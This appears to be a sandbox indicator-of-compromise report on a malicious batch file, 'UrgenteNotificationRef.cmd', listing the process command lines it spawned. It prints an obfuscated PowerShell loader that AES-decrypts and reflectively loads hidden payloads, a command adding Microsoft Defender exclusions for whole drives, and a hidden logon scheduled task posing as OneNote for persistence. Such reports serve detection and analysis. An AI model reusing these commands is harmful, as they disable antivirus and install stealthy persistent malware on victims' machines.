IOC Report
UrgenteNotificationRef.cmd

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Network28681Man.cmd"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\user\AppData\Roaming\Network28681Man.cmd';$EErt='EntqgNmryqgNmPoiqgNmnqgNmtqgNm'.Replace('qgNm', ''),'CIZQNreIZQNatIZQNeDIZQNecIZQNryIZQNptIZQNorIZQN'.Replace('IZQN', ''),'FrobfNZmbfNZBasbfNZe6bfNZ4SbfNZtrbfNZinbfNZgbfNZ'.Replace('bfNZ', ''),'SplJahjitJahj'.Replace('Jahj', ''),'TriPkHansiPkHfiPkHoriPkHmFiPkHiiPkHnaiPkHlBliPkHoiPkHciPkHkiPkH'.Replace('iPkH', ''),'GetKBQbCurKBQbrenKBQbtPKBQbrKBQbocKBQbessKBQb'.Replace('KBQb', ''),'RyOcoeyOcoadyOcoLyOcoinyOcoesyOco'.Replace('yOco', ''),'LAguzoAguzadAguz'.Replace('Aguz', ''),'EleDcRNmenDcRNtDcRNAtDcRN'.Replace('DcRN', ''),'MalMOMilMOMnlMOMMolMOMdulMOMllMOMelMOM'.Replace('lMOM', ''),'ChaTLERngTLEReETLERxtTLERenTLERsTLERiTLERonTLER'.Replace('TLER', ''),'DeccotGomcotGpcotGrescotGscotG'.Replace('cotG', ''),'CopobqOyobqOTobqOoobqO'.Replace('obqO', ''),'InvClSOokeClSO'.Replace('ClSO', '');powershell -w hidden;function vTzfR($ukwVU){$hHysF=[System.Security.Cryptography.Aes]::Create();$hHysF.Mode=[System.Security.Cryptography.CipherMode]::CBC;$hHysF.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$hHysF.Key=[System.Convert]::($EErt[2])('zavfxzUUXNH4uECQXv0pvDIOSMJD8RFecmPDqbtRg9g=');$hHysF.IV=[System.Convert]::($EErt[2])('mi6yyZbC4Ex2I6/d7FQcGg==');$ovRQV=$hHysF.($EErt[1])();$BaeOu=$ovRQV.($EErt[4])($ukwVU,0,$ukwVU.Length);$ovRQV.Dispose();$hHysF.Dispose();$BaeOu;}function YlNft($ukwVU){$RVhbp=New-Object System.IO.MemoryStream(,$ukwVU);$YhZKJ=New-Object System.IO.MemoryStream;$XoHSZ=New-Object System.IO.Compression.GZipStream($RVhbp,[IO.Compression.CompressionMode]::($EErt[11]));$XoHSZ.($EErt[12])($YhZKJ);$XoHSZ.Dispose();$RVhbp.Dispose();$YhZKJ.Dispose();$YhZKJ.ToArray();}$JBgWB=[System.IO.File]::($EErt[6])([Console]::Title);$vBlXi=YlNft (vTzfR ([Convert]::($EErt[2])([System.Linq.Enumerable]::($EErt[8])($JBgWB, 5).Substring(2))));$kasXC=YlNft (vTzfR ([Convert]::($EErt[2])([System.Linq.Enumerable]::($EErt[8])($JBgWB, 6).Substring(2))));[System.Reflection.Assembly]::($EErt[7])([byte[]]$kasXC).($EErt[0]).($EErt[13])($null,$null);[System.Reflection.Assembly]::($EErt[7])([byte[]]$vBlXi).($EErt[0]).($EErt[13])($null,$null); "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\user\AppData\Roaming\Network28681Man')

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 28681' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Network28681Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force